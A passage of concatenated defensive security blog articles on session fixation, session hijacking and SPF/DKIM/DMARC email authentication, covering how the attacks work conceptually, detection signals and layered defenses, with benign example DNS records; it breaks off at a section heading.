Seeing it this way connects fixation to its neighbors. Weak session identifiers, missing regeneration, session tokens that never expire, and identifiers exposed in URLs are all session-management weaknesses in the same category. An application that gets one of them wrong often gets others wrong too, because they share a root cause: session identity treated casually rather than as a sensitive credential with a defined lifecycle.
## How the weakness has changed over time
Session fixation was far more common when applications routinely carried the session identifier in the URL. In that era, passing the identifier through a query string or a path segment was a normal pattern, sometimes used to support clients that did not accept cookies, and it handed attackers the simplest possible planting vector. Fixation was easy because the token was easy to place.
Two shifts reduced its prevalence. Frameworks moved toward cookie-based sessions by default and away from URL-borne identifiers, which removed the easy planting route from most applications. And framework authentication increasingly regenerated the session at login as standard behavior, which closed the root cause for anyone using the built-in login flow. The combined effect is that a developer using a mainstream framework normally gets protection without thinking about it.
The weakness did not disappear. It moved to the places where the defaults are bypassed: hand-rolled authentication, legacy systems that still accept identifiers from URLs, and applications that reuse a session across login for convenience or to preserve pre-login state carelessly. The pattern mirrors many web weaknesses. The framework default became safe, so the remaining risk concentrates in custom code and older systems where the safe default was never adopted. This is why a security review still checks for it directly rather than assuming a modern stack rules it out.
## Common mistakes and misconceptions
Several misunderstandings leave fixation unaddressed even in applications that pass a casual review.
The first is assuming that setting a new cookie value at login is the same as regenerating the session. Some code replaces the cookie the browser holds without actually invalidating the old session identifier on the server. If the pre-login identifier still maps to a live session server-side, the attack survives. Regeneration has to invalidate the old server-side session, not merely overwrite the client's cookie.
The second is believing that using cookies instead of URLs makes an application immune. Refusing session identifiers from URLs removes the easiest planting vector, which is genuinely valuable, but an attacker with an XSS bug or the ability to set a cookie from a related subdomain can still plant a fixed value. URL hardening reduces the attack surface. Regeneration at login is what actually closes the attack.
The third is treating fixation as a rare or theoretical bug. It is a design default in any framework configured to reuse the session across login, which happens more often than teams expect when authentication is built by hand rather than using a framework's session manager. The bug is common precisely because doing nothing special produces it.
The fourth is regenerating at login but not at privilege escalation. An application that mints a fresh session at login but keeps it unchanged when a user steps into an administrative area leaves a smaller version of the same gap. A fixed low-privilege session can ride an escalation into a higher-privilege one if the identifier is not rotated at that boundary too.
## How to detect session fixation weakness
Fixation is best eliminated by design, and it is also testable, which matters because the bug is invisible to users and leaves little runtime trace. The check is straightforward in concept.
- **Compare the identifier across the login boundary.** Record the session identifier the application issues before authentication, log in, and check whether the identifier is the same afterward. If it is unchanged, the application is vulnerable to fixation. A correct application issues a new identifier at login.
- **Confirm the old identifier is dead.** After login, present the pre-login identifier again and confirm it no longer maps to any session. If the old identifier still resolves to a session, regeneration is incomplete even if a new one was also issued.
- **Test whether identifiers are accepted from the URL.** Supply a session identifier in a query string or path parameter and see whether the application honors it. Acceptance from the URL is the easiest planting vector and should be rejected.
- **Check privilege boundaries.** Repeat the before-and-after comparison around a privilege step-up, such as entering an admin area, to confirm the identifier rotates there too.
These checks are cheap to run and belong in the authentication test suite, because a regression that quietly removes session regeneration reintroduces the vulnerability without any visible symptom. Runtime detection is weak for fixation, so testing the behavior directly is the reliable path.
## Frequently asked questions
**Is session fixation still relevant with modern frameworks?**
Yes, though modern frameworks make it easy to avoid. Most mainstream frameworks regenerate the session at login when their built-in authentication is used, which closes the attack by default. The risk reappears when developers build authentication by hand, reuse a session across login for convenience, or disable regeneration without understanding why it exists. The vulnerability is a configuration and design issue that frameworks help with but do not guarantee away.
**How is session fixation different from session hijacking?**
In fixation, the attacker plants a session identifier they already know and waits for the victim to authenticate it, so the attack happens before login. In hijacking, the attacker steals a token the victim already holds and replays it, which happens after login. They are mirror images that share most defenses, and regenerating the identifier at login helps against both. The theft-based version is covered in [Session Hijacking Explained](/session-hijacking-explained).
**Does regenerating the session identifier have any downside?**
Very little. It costs almost nothing at runtime and is a single call in most frameworks. The only care needed is to preserve any legitimate pre-login state the application wants to carry forward, such as a shopping cart, by migrating that data to the new session rather than losing it. The identifier itself must change and the old one must be invalidated, but associated data can be moved across deliberately.
**Can SameSite cookies alone prevent fixation?**
No. SameSite reduces some cross-site ways an attacker might plant a cookie, and it is worth setting, but it does not address the root cause, which is the server reusing the pre-login identifier after authentication. An attacker who plants the identifier through a URL parameter or an XSS write can still succeed if regeneration is missing. SameSite is supporting hygiene, and regeneration at login is the actual fix.
**Why does accepting session IDs from the URL make fixation worse?**
Because it gives the attacker the simplest possible planting method. If the application reads the identifier from a query string, the attacker only needs to send the victim a link carrying a chosen identifier, and clicking it adopts that value. No XSS bug and no cookie manipulation is required. Restricting session identifiers to cookies removes this easy vector and forces an attacker to find a harder way to plant a value.
**Does a JWT-based session avoid fixation?**
Largely, because a JWT is issued at login, so the natural design already mints a fresh credential at authentication and there is no pre-login token to carry over. The risk shifts to how the token is signed, validated, and expired, and to whether a pre-login token can somehow be reused. A design that issues an unauthenticated token before login and then simply marks it authenticated afterward would reintroduce the same flaw, so the protective property comes from minting a genuinely new token at authentication rather than from the format itself. Those concerns are covered in [JWT Attacks Explained](/jwt-attacks-explained).
## How to defend against session fixation
The primary control is short and non-negotiable; the rest are supporting hygiene.
1. **Regenerate the session ID on every login.** The instant authentication succeeds, issue a new session identifier and invalidate the old one. This single step ends session fixation. Most frameworks expose a one-call method for it, such as regenerating or migrating the session.
2. **Regenerate again on privilege change.** Any step up in privilege, such as entering an admin area or re-authenticating for a sensitive action, should also rotate the token, so a fixed low-privilege session cannot ride into a higher one.
3. **Never accept session IDs from the URL.** Configure the framework to use cookies only and reject session identifiers supplied in query strings or path parameters. This removes the easiest planting vector.
4. **Set HttpOnly, Secure, and SameSite on session cookies.** These block the XSS-write and cross-site paths an attacker uses to fix a cookie, and they harden the session against theft at the same time.
5. **Bind the session to the login and expire it aggressively.** Tie the authenticated session to the moment of login, and apply idle and absolute timeouts so any planted token has a short life even if regeneration were somehow missed.
6. **Invalidate on logout.** Destroy the session server-side at logout rather than only clearing the cookie, so a known token cannot be resurrected.
Every mainstream web framework provides a way to regenerate the session ID after authentication. Calling it in your login handler closes session fixation completely and costs almost nothing. If you build authentication by hand, wire that regeneration in first, before anything else, and confirm the pre-login token is genuinely invalidated rather than merely replaced in the cookie.
Session fixation is one of the tidier bugs to eliminate, because a single rule removes it: the session a user carries after logging in must never be the session they carried before. Rotate the identifier at authentication and at every privilege boundary, refuse session IDs from URLs, and lock down the session cookie, and the attacker is left holding a token that stops meaning anything the moment the victim signs in.
Authentication and session flaws remain among the most reliably exploited weaknesses on the web. Our Exploit Intelligence dashboard tracks how fast identification and authentication failures move from disclosure to active abuse, and the pattern is consistent enough that a missing session regeneration is worth fixing before it ever reaches a threat model.
## Related guides
- [Session Hijacking Explained](/session-hijacking-explained)
- [CSRF Explained](/csrf-explained)
- [JWT Attacks Explained](/jwt-attacks-explained)
- [OWASP Top 10 Explained](/owasp-top-10-explained)
### Sources
- OWASP: Session Fixation (OWASP): https://owasp.org/www-community/attacks/Session_fixation
- OWASP Session Management Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html
- OWASP Top 10: A07 Identification and Authentication Failures (OWASP): https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/
---
## Session Hijacking: Stealing & Replaying Session Tokens
> How session hijacking works: cookie theft, XSS-to-session takeover, token replay, and the defenses that keep a stolen session unusable.
- URL: https://blog.pwnsy.com/session-hijacking-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: intermediate
- Category: web-security
- Tags: session-hijacking, web-security, authentication, cookies, appsec
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [AitM Phishing Explained: How Reverse-Proxy Kits Bypass MFA](https://blog.pwnsy.com/aitm-phishing-explained)
### TL;DR
- A session token is a temporary password. Steal it and you are logged in as the victim without ever knowing their credentials.
- The common theft routes are cross-site scripting that reads the cookie, network interception on unencrypted paths, and malware that lifts cookies straight off the disk.
- Once a token is stolen, the attacker replays it against the same application and inherits the victim's authenticated state, including any privilege the account holds.
- The controls that hold up bind the token to hard-to-steal properties, mark cookies so scripts and cross-site requests cannot reach them, and rotate the token at every privilege change.
### Key Takeaways
- Session tokens grant full account access, so protecting them matters as much as protecting passwords.
- The HttpOnly, Secure, and SameSite cookie attributes together remove the three easiest theft routes: script access, plaintext transit, and cross-site leakage.
- Regenerating the session ID on login and on privilege change defeats both hijacking replay and session fixation.
- Infostealer malware has made cookie theft a mass-market attack, bypassing passwords and multi-factor prompts by stealing an already-authenticated session.
- Short session lifetimes, idle timeouts, and server-side revocation shrink the window in which a stolen token is worth anything.
When you log in to a web application, the server hands your browser a token, usually a cookie, that proves who you are for the rest of your visit. Every request after that carries the token instead of your password. The application trusts the token completely. That trust is the whole target of session hijacking.
Session hijacking is the theft and reuse of that token. An attacker who obtains it does not need your username, your password, or your second factor. They present the token, the server sees a valid session, and they are you for as long as the session lasts.
## What a session actually is
HTTP has no memory. Each request stands alone, so the server needs a way to recognise a returning user. The standard answer is a session identifier: a long random value the server generates at login and stores against your account. Your browser sends it back on every request, normally in a cookie, and the server looks it up to know it is still you.
The token is a bearer credential. Whoever holds it is treated as the account. There is no further check that the holder is the same person who logged in, which is exactly why stealing the token is enough.
On MITRE ATT&CK, theft of this credential is [Steal Web Session Cookie (T1539)](https://attack.mitre.org/techniques/T1539/), and it sits alongside credential theft precisely because the outcome is the same: account takeover.
## How tokens get stolen
Attackers reach session tokens through a handful of well-worn routes.
**Cross-site scripting (XSS).** If an attacker can run JavaScript in your browser on the target site, that script can read `document.cookie` and send it anywhere. XSS is the classic engine of session theft, which is why it and session hijacking are so often discussed together. A single reflected or stored script turns into full account takeover.
**Network interception.** On any unencrypted hop, a party on the path can read the cookie as it travels. This is the old sidejacking attack. It is far less common now that transport encryption is near-universal, but any page served over plain HTTP, or any cookie not marked to require encryption, reopens the door.
**Malware and infostealers.** Modern infostealer malware skips the network entirely and reads cookies straight out of the browser's storage on a compromised machine. This has become a mass-market attack, because a stolen session cookie sidesteps both the password and any multi-factor prompt. The victim already passed those checks; the malware just takes the result. See [What Is an Infostealer](/what-is-an-infostealer) for how that trade works.
**Predictable or leaked tokens.** If session IDs are short, sequential, or generated from something guessable, an attacker can produce valid ones without stealing anything. Tokens can also leak through referrer headers, logs, or URLs when an application puts the session ID in the query string instead of a cookie.
## Fixation is the mirror image
There is a related attack that runs the theft backwards. Instead of stealing a token the victim already has, the attacker plants a token they already know and waits for the victim to authenticate it. That is session fixation, and it works whenever an application keeps the same session ID before and after login. The defense overlaps heavily with hijacking, and the two are worth reading together. See [Session Fixation Explained](/session-fixation-explained).
## What replay looks like
Once a token is in hand, the attack is trivial. The attacker sets the stolen cookie in their own browser or drops it into a request with a tool, and sends a request to the application. The server validates the token, finds a live session, and serves the victim's authenticated pages. No login screen, no prompt.
| Theft route | Where it happens | Primary defense |
|---|---|---|
| Cross-site scripting | Victim's browser | HttpOnly cookies, output encoding, CSP |
| Network interception | Network path | HTTPS everywhere, Secure cookie flag |
| Infostealer malware | Victim's device | Endpoint security, token binding, short lifetimes |
| Predictable token | Attacker's machine | High-entropy random session IDs |
| Cross-site leakage | Third-party site | SameSite cookie attribute |
Multi-factor authentication protects the login. It does nothing for a session that is already authenticated. An attacker replaying a stolen token never sees the login screen, so the second factor is never asked for. This is why cookie theft has become the infostealer economy's favourite product, and why token protection matters as much as strong login.
## Tokens as JWTs
Many modern applications carry session state in a signed JSON Web Token rather than an opaque server-side session ID. That changes the theft surface: a stolen JWT is just as replayable, and a badly validated one can sometimes be forged outright. The hijacking principles here still apply, plus a set of signature and validation issues specific to the format. See [JWT Attacks Explained](/jwt-attacks-explained).
## A worked example of a hijack
Tracing a single hijack end to end makes the abstract routes concrete. Consider the most common modern path, an XSS bug feeding cookie theft, described conceptually rather than as working exploit code.
A web application has a comment field that echoes user input back onto the page without proper encoding. An attacker posts a comment containing a script. When any other logged-in user loads the page, their browser runs that script in the context of the application's origin. Because the script runs as the site, it has access to everything the site's own JavaScript can reach, including the session cookie, unless that cookie is protected.
The script reads the session cookie and sends it to a server the attacker controls, typically by appending it to a request for an image or a background fetch to an external host. The victim notices nothing. The page renders normally, the comment looks ordinary, and the theft happens in the background in milliseconds.
The attacker now holds the victim's session token. They open their own browser, set a cookie for the target domain with the stolen value, and load the application. The server receives a request carrying a valid, live session identifier, looks it up, finds the victim's authenticated session, and serves the victim's account pages. The attacker never saw a login form, never entered a password, and was never prompted for a second factor. From the server's perspective, the returning request is indistinguishable from the real user.
The step that makes the whole example work is the script reading the cookie. Marking the session cookie HttpOnly removes the cookie from the reach of JavaScript entirely, so `document.cookie` cannot see it and the theft step fails even though the XSS bug still exists. That is why HttpOnly is the single highest-value session setting: it severs the most common theft route at its narrowest point, independent of whether every XSS bug has been found and fixed.
## Where the token lives, and why it matters
A session token can ride in several places, and each location changes the theft surface. Knowing which one an application uses tells you which defenses are relevant.
| Storage location | How the token is sent | Main exposure |
|---|---|---|
| Cookie without HttpOnly | Automatically on every request | Readable by any script on the page |
| Cookie with HttpOnly | Automatically on every request | Hidden from scripts, still sent in requests |
| Local storage or session storage | Attached by application code | Always readable by scripts, a poor choice for tokens |
| URL query string | In the address itself | Leaks through logs, referrer headers, and shared links |
| Authorization header | Attached by application code | Depends on where the code keeps the token |
The pattern in that table is that any location a script can read is a location an XSS bug can steal from. Cookies with HttpOnly are the only common option that keeps the token out of script reach while still sending it automatically. Storing a session token in local storage is a frequent mistake precisely because local storage is always script-readable, so an XSS bug hands the attacker the token directly. Putting a session identifier in the URL is worse still, because URLs end up in server logs, browser history, and the referrer header sent to other sites, leaking the token through channels nobody is watching.
## Why defenses fail when they are half-applied
The controls against session hijacking work as a set, and each has a specific gap when it stands alone. Understanding the gaps explains why layering is not optional.
HttpOnly without Secure leaves the network path open. The cookie is safe from scripts, but if it is sent over an unencrypted connection, anyone on the path can read it in transit. Secure without HttpOnly leaves the script path open. The cookie only travels encrypted, but an XSS bug reads it before it ever hits the network. Neither flag covers the other's gap.
SameSite reduces cross-site leakage but does nothing about theft that happens on the site itself. It stops the cookie from being attached to requests originating from other sites, which blunts cross-site request forgery and some leakage, yet an XSS bug running on the target origin is not a cross-site context, so SameSite does not stop it.
High-entropy tokens defeat guessing but not theft. A long random session identifier cannot be enumerated, which closes the predictable-token route, but a stolen token is stolen regardless of how random it was. Entropy protects against one route and is silent on the others.
Short lifetimes and revocation shrink the value of a stolen token without preventing the theft. If a token expires quickly or can be invalidated server-side, a thief has a narrow window to use it, which is genuinely valuable. It does not stop the token from being taken, so it works only in combination with the controls that make theft harder in the first place.
The conclusion is that no single setting is sufficient. HttpOnly, Secure, SameSite, high entropy, rotation, and short revocable lifetimes each close a different route, and an attacker only needs one open route. The defense is the full set applied together.
## Common mistakes and misconceptions
A few recurring errors leave sessions exposed even in applications that look carefully built.
The first is trusting multi-factor authentication to protect the session. MFA protects the login event. Once a session exists, it is a bearer token, and a stolen one is replayed without any login, so the second factor is never consulted. Teams sometimes treat MFA as a complete answer to account takeover and neglect session protection, which leaves the exact gap that infostealers exploit.
The second is storing the token in local storage for convenience. Frameworks and tutorials sometimes suggest keeping a token in local storage so client code can read it. That decision makes the token permanently script-readable and turns any XSS bug into instant account takeover. A cookie with HttpOnly, Secure, and SameSite is the safer default for a session token.
The third is regenerating the session identifier at login but nowhere else. Regeneration at login defeats fixation, but privilege changes also matter. Stepping into an admin area or re-authenticating for a sensitive action without rotating the token lets an earlier, lower-privilege session ride into a higher-privilege state. Rotation belongs at every trust boundary, with the first login being just one of them.
The fourth is clearing the cookie at logout without destroying the session server-side. If logout only removes the cookie from the browser, the token itself is still valid on the server, and anyone who captured it earlier can keep using it. Logout must invalidate the session in server-side state, not merely clear the client's copy.
## How to detect a hijacked session
Prevention is the priority, and detection is the backstop for the cases prevention misses. Several signals point to a session being used by someone other than its owner.
- **A single session used from two distant locations at once.** A session active from two far-apart network locations within a span too short to travel between them suggests the token is being shared, which is the signature of a stolen cookie in use.
- **An abrupt change in device or client fingerprint mid-session.** A session that begins on one browser and operating system and continues on a different one, without a fresh login, is a strong indicator the token moved to another machine.
- **Sudden sensitive actions without re-authentication.** A session that jumps straight to changing account settings, adding a recipient, or exporting data, with no matching step-up authentication, is worth flagging.
- **Session activity that outlasts the user.** Requests continuing on a session after the user's own device has gone idle or logged out can indicate a second holder of the same token.
- **A spike in requests to session-bearing endpoints from unusual infrastructure.** Access arriving from hosting providers or anonymizing infrastructure, rather than the residential paths a user normally comes from, can mark replayed tokens.
None of these is conclusive alone, and each can have an innocent explanation, so the value is in correlation and in tying a suspicious signal to an action that re-verifies the user. Binding the session to context and re-authenticating for sensitive actions turns several of these signals into automatic friction for a thief.
The practical challenge is false positives. Users legitimately switch networks, travel, and move between devices, so any single signal fires often enough that acting on it in isolation harms real users. The workable approach is to weight signals together and to respond with graduated friction rather than an immediate block. A mild anomaly might trigger a re-authentication prompt for the next sensitive action, while a strong combination, such as a distant location paired with a changed device fingerprint and an immediate attempt to change account settings, justifies suspending the session outright. Tuning that balance is the real work of session-hijacking detection, because the goal is to make a stolen token expensive to use without making a normal session annoying to hold.
## How to defend against session hijacking
The goal is twofold: make the token hard to steal, and make a stolen token expensive to use. Layer these controls rather than relying on any single one.
1. **Mark cookies HttpOnly.** This blocks JavaScript from reading the cookie, which removes XSS as a token-theft route even when an XSS bug exists. It is the single highest-value setting.
2. **Mark cookies Secure.** The browser then sends the cookie only over encrypted connections, closing the network-interception path.
3. **Set SameSite.** `SameSite=Lax` or `Strict` stops the cookie from riding along on cross-site requests, cutting off cross-site leakage and blunting related cross-site attacks.
4. **Generate high-entropy tokens.** Use a long, cryptographically random session ID so tokens cannot be guessed or enumerated. Let your framework's session manager produce it rather than rolling your own.
5. **Regenerate the session ID on login and on privilege change.** A fresh token at each trust boundary defeats fixation and limits how long any earlier token is valid.
6. **Keep sessions short and revocable.** Enforce absolute and idle timeouts, and keep server-side state so you can invalidate a session immediately on logout or on suspicion of theft. A token that expires in minutes is worth little to a thief.
7. **Bind the session to context where you can.** Tying a session to properties that are hard to replay, and re-authenticating for sensitive actions, raises the cost of replay even after theft.
8. **Fix the XSS.** Since XSS is the main theft engine, output encoding, input validation, and a strict Content Security Policy do double duty as session-protection controls.
Strong authentication and strong session management are two different jobs. Multi-factor login stops password attacks; HttpOnly, Secure, SameSite cookies plus rotation and short lifetimes stop token attacks. Do both. A hardened login in front of a sloppy session is still a full account takeover waiting to happen.
Session hijacking rewards attackers because it converts one stolen string into complete account access, no credentials required. The economics are stark: our Exploit Intelligence dashboard tracks how quickly credential and session-theft techniques move from disclosure to active use, and stolen-cookie access consistently sits among the fastest to be weaponised. Treat the session token as the sensitive credential it is, harden the cookie, rotate it at every trust boundary, and keep its lifetime short, and a token that does get stolen is worth little by the time anyone tries to use it.
## Frequently asked questions
**Does HTTPS alone stop session hijacking?**
No. HTTPS closes the network-interception route by encrypting the token in transit, which is important, but it does nothing about the other routes. An XSS bug reading the cookie, an infostealer lifting it from disk, or a predictable token generated on the server are all untouched by transport encryption. HTTPS is necessary and not sufficient, which is why it sits alongside HttpOnly, SameSite, high entropy, and short lifetimes rather than replacing them.
**If I have multi-factor authentication, why do I still need session protection?**
Because the two protect different moments. Multi-factor authentication verifies the person at login. The session token that login produces is a bearer credential used for the rest of the visit, and a stolen token is replayed without any login at all, so the second factor is never asked for. This is exactly why infostealers target cookies: a stolen session sidesteps both the password and the second factor by arriving after both were already satisfied.
**Is storing a session token in local storage safe?**
It is a poor choice. Local storage is always readable by JavaScript, so any cross-site scripting bug can read the token directly and no flag can hide it. A cookie marked HttpOnly is kept out of script reach while still being sent automatically, which is why an HttpOnly, Secure, SameSite cookie is the safer default for a session token than local storage.
**How is session hijacking different from session fixation?**
In hijacking, the attacker steals a token the victim already holds and replays it. In fixation, the attacker plants a token they already know and waits for the victim to authenticate it. Hijacking happens after login, fixation before it. The defenses overlap heavily, and regenerating the session identifier at login helps against both. The fixation case is covered in full in [Session Fixation Explained](/session-fixation-explained).
**Can a stolen session token be used forever?**
Only for as long as the session remains valid. If the application enforces short absolute and idle timeouts and keeps server-side state that can be invalidated, a stolen token stops working when the session expires or when the session is revoked. If sessions are long-lived and cannot be revoked server-side, a stolen token can be usable for a long time, which is why short, revocable sessions are a core control.
**Does logging out protect me if my token was already stolen?**
Only if logout destroys the session on the server. If logout merely clears the cookie in your browser, the token itself is still valid and an attacker who captured it earlier can keep using it. A correct logout invalidates the session in server-side state, which is what actually revokes a token that has already been stolen.
**Are JWT sessions safer against hijacking?**
Not inherently. A stolen JSON Web Token is just as replayable as a stolen opaque session identifier, and a JWT held in a script-readable location is exposed to the same XSS theft. JWTs add their own signature and validation concerns on top. The hijacking defenses still apply, plus the format-specific issues covered in [JWT Attacks Explained](/jwt-attacks-explained).
## Related guides
- [The Okta Breaches](/okta-breaches-explained)
- [What Is an Infostealer](/what-is-an-infostealer)
- [Session Fixation Explained](/session-fixation-explained)
- [JWT Attacks Explained](/jwt-attacks-explained)
- [Two-Factor Authentication Guide](/two-factor-authentication-guide)
### Sources
- OWASP: Session Hijacking Attack (OWASP): https://owasp.org/www-community/attacks/Session_hijacking_attack
- OWASP Session Management Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html
- MITRE ATT&CK: Steal Web Session Cookie (T1539) (MITRE): https://attack.mitre.org/techniques/T1539/
---
## SPF, DKIM, and DMARC Explained: Stopping Email Spoofing
> How the three email authentication standards work together to stop spoofing, what each one checks, and how to set them up without breaking your mail.
- URL: https://blog.pwnsy.com/spf-dkim-dmarc-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: intermediate
- Category: web-security
- Tags: spf, dkim, dmarc, email-security, spoofing
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- SPF, DKIM, and DMARC are three DNS-based standards that together let a receiving mail server check whether a message really came from the domain it claims.
- SPF authorizes which servers may send for your domain. DKIM signs messages so tampering and forgery are detectable. DMARC ties them to the visible From address and tells receivers what to do on failure.
- SPF and DKIM alone do not protect the address users actually see. DMARC is the piece that closes that gap and gives you reporting.
- Deploy in order, start DMARC in monitor mode, read the reports, then tighten to quarantine and reject once legitimate mail passes.
### Key Takeaways
- SPF is a DNS TXT record listing authorized sending IPs, checked against the envelope sender (the return-path domain).
- DKIM attaches a cryptographic signature to each message using a private key, verified by receivers against a public key in your DNS.
- DMARC requires alignment: the domain that passes SPF or DKIM must match the visible From domain, which is what stops header spoofing.
- DMARC policies are none (monitor), quarantine (send to spam), and reject (block outright), and the reports show you who is sending as you.
- Roll out gradually and watch aggregate reports, because a premature reject policy will bounce legitimate mail from services you forgot about.
Email was designed in an era of trust, which is why forging the sender of a message is trivially easy by default. Anyone can put your domain in the From line. The three standards in this guide, SPF, DKIM, and DMARC, are how a domain owner fights back, letting receiving servers verify that a message claiming to come from you actually did. Deploy all three correctly and you make it very hard for an attacker to spoof your domain, and you gain visibility into who is trying.
Each standard does one job, and they only deliver their full value together. This guide explains what each checks, how they combine, and how to roll them out without knocking your own mail offline.
## The problem: two different From addresses
To understand these standards you have to know that an email carries two sender addresses, and they can differ.
The **envelope sender** (also called the return-path or MAIL FROM) is used during delivery, between mail servers. Users never see it.
The **header From** is the address shown in the mail client. It is what a person reads and trusts.
Spoofing exploits the gap. An attacker can pass some checks on the envelope sender while putting your domain in the header From that the victim sees. Keeping those two in agreement is exactly the problem DMARC was created to solve, which is why SPF and DKIM alone are not enough.
## SPF: who is allowed to send
Sender Policy Framework, defined in RFC 7208, lets you publish the list of servers authorized to send mail for your domain. You put it in a DNS TXT record. A simple one looks like this:
```
v=spf1 include:_spf.example-provider.com ip4:203.0.113.5 -all
```
That says: mail for this domain may come from the provider referenced by the `include`, and from the listed IP, and everything else fails (`-all`). When a receiver gets a message, it looks up the SPF record for the envelope sender domain and checks whether the connecting server's IP is authorized.
SPF has two well-known limits. It authorizes the **envelope sender**, not the visible From, so on its own it does not protect what the user sees. And it breaks on forwarding, because a forwarding server relays your mail from an IP you never listed. These limits are precisely why DKIM and DMARC exist alongside it.
## DKIM: sign the message
DomainKeys Identified Mail, defined in RFC 6376, adds a cryptographic signature to each outgoing message. Your mail server signs selected headers and the body with a **private key**, and attaches the signature in a `DKIM-Signature` header. You publish the matching **public key** in DNS.
A receiver reads the signature, fetches your public key from DNS, and verifies it. If it validates, two things are established: the message genuinely came from a system holding your domain's private key, and the signed content was not altered in transit. Because the signature travels with the message, DKIM survives forwarding in a way SPF does not, since it does not depend on the sending IP. For the underlying mechanism, see [How Digital Signatures Work](/how-digital-signatures-work).
DKIM's own gap mirrors SPF's: a valid DKIM signature proves a message was signed by some domain, but it does not by itself require that domain to match the From address the user sees. Again, that is DMARC's job.
SPF authorizes the envelope sender. DKIM authenticates a signing domain. Neither one, on its own, requires either of those to match the From address the recipient actually reads. An attacker can satisfy a check on a domain they control while spoofing your domain in the visible header. DMARC is the standard that forces the match and closes this exact gap.
## DMARC: tie it to what the user sees
Domain-based Message Authentication, Reporting, and Conformance, defined in RFC 7489, sits on top of SPF and DKIM and adds the two things they lack: alignment and instructions.
**Alignment** is the core idea. DMARC passes only if the domain that passed SPF or DKIM matches the domain in the visible From address. So it is no longer enough for a message to pass SPF or DKIM on some domain; that domain has to line up with the From the user sees. This is what actually stops header spoofing of your domain.
A DMARC record is another DNS TXT entry:
```
v=DMARC1; p=none; rua=mailto:dmarc-reports@example.com
```
The `p` tag is the **policy**, the instruction to receivers on what to do when a message claiming your domain fails DMARC:
| Policy | Receiver behaviour | When to use |
|---|---|---|
| `none` | Deliver as normal, just report | Monitoring, the starting point |
| `quarantine` | Send to spam or junk | After legitimate mail passes cleanly |
| `reject` | Block the message outright | The end state, full protection |
The `rua` tag is where **aggregate reports** are sent. Receivers email you daily summaries of what passed and failed under your domain, including the sending IPs. These reports are the single most useful part of a rollout, because they show you every service sending as you, including the ones you forgot about.
Two more DMARC tags are worth setting deliberately. The `sp` tag sets the policy for subdomains, which by default inherit the main policy, so a domain locked to `reject` still needs its subdomains covered or an attacker will spoof `mail.example.com` instead of `example.com`. The `pct` tag applies your policy to a percentage of mail rather than all of it, which lets you ramp enforcement gradually, for example quarantining a quarter of failures first to watch the effect before taking it to the full set. Used together they turn a policy change from a cliff into a slope.
## How the three fit together
Here is the whole picture in one pass. A receiver gets a message claiming to be from you. It checks SPF against the envelope sender and verifies any DKIM signature. Then DMARC asks: did SPF or DKIM pass, and does the passing domain align with the visible From. If yes, the message is authenticated as genuinely yours. If no, the receiver applies your DMARC policy, monitor, quarantine, or reject, and logs it in a report back to you.
| Standard | What it checks | Protects the visible From | Survives forwarding |
|---|---|---|---|
| SPF | Sending IP vs authorized list | No, on its own | No |
| DKIM | Cryptographic signature | No, on its own | Yes |
| DMARC | Alignment + policy + reporting | Yes | Uses whichever of SPF/DKIM aligns |
The takeaway is that DMARC does not replace SPF and DKIM; it depends on them. It needs at least one of them to pass and align. That is why all three go together.
## How to deploy without breaking your mail
The failure mode here is real and common: a rushed `reject` policy bounces legitimate mail from a newsletter tool, a support desk, or an invoicing service you did not know sent mail as you. Roll out in order and let the reports guide you.
1. **Publish SPF.** List every service that legitimately sends for your domain, using `include` mechanisms for providers. Start with `~all` (soft fail) if you are unsure, then move to `-all` once the list is complete.
2. **Enable DKIM.** Turn on signing at your mail provider and publish the public keys they give you. Confirm outgoing mail is signed and verifies.
3. **Publish DMARC at `p=none`.** This changes nothing about delivery. It just starts the aggregate reports flowing to your `rua` address.
4. **Read the reports for a few weeks.** Identify every legitimate sender, and fix any that fail SPF or DKIM alignment. This is where you discover the forgotten services.
5. **Move to `p=quarantine`.** Once legitimate mail passes cleanly, tell receivers to junk the failures. Watch the reports for fallout.
6. **Move to `p=reject`.** When quarantine has been stable, tighten to full rejection. Now spoofed mail using your domain is blocked outright.
Never jump straight to `p=reject`. Start at `p=none`, read the aggregate reports until you can account for every legitimate sender, then tighten in stages. The reports are the whole point of starting soft. They turn a risky change into a measured one and stop you from bouncing your own invoices.
These records blunt domain spoofing, but attackers respond by moving to lookalike domains and other tricks covered in [What Is Phishing](/what-is-phishing) and [AI Phishing Attacks](/ai-phishing-attacks). Our Exploit Intelligence dashboard tracks live vulnerabilities across mail servers and email security gateways, so you can see which flaws in the systems handling your mail are actually being exploited.
## A walkthrough of one message being judged
Follow a single message from an attacker who is trying to spoof your domain, and watch where each standard catches it. The attacker connects to a recipient's mail server and announces an envelope sender on a domain they control, while placing your domain in the visible From header that the victim will read. The message carries no valid DKIM signature for your domain, because the attacker does not hold your private key.
The receiving server runs SPF against the envelope sender domain. That domain belongs to the attacker, so SPF may well pass, since the attacker can publish a permissive SPF record for their own domain. SPF has done its job correctly and it has told us nothing about the header the victim sees, which is the gap. Next the server checks DKIM. There is no signature that validates against your domain's public key, so DKIM does not produce a pass aligned to your domain. Now DMARC asks its question: did SPF or DKIM pass on a domain that aligns with the visible From. SPF passed, but on the attacker's domain, which does not match your domain in the From line. DKIM did not pass on your domain either. Alignment fails, so DMARC fails, and the receiver applies your published policy.
If your policy is at reject, the spoofed message is blocked outright and never reaches the victim. If it is at quarantine, the message lands in spam. If it is still at none, the message is delivered, and a report of the failure is sent to your aggregate address so you can see the attempt. The same walkthrough shows why SPF and DKIM alone leave a hole: both can pass on a domain the attacker controls while your domain sits unprotected in the header. DMARC is the step that forces the passing domain to line up with what the recipient actually reads.
## Reading an aggregate report
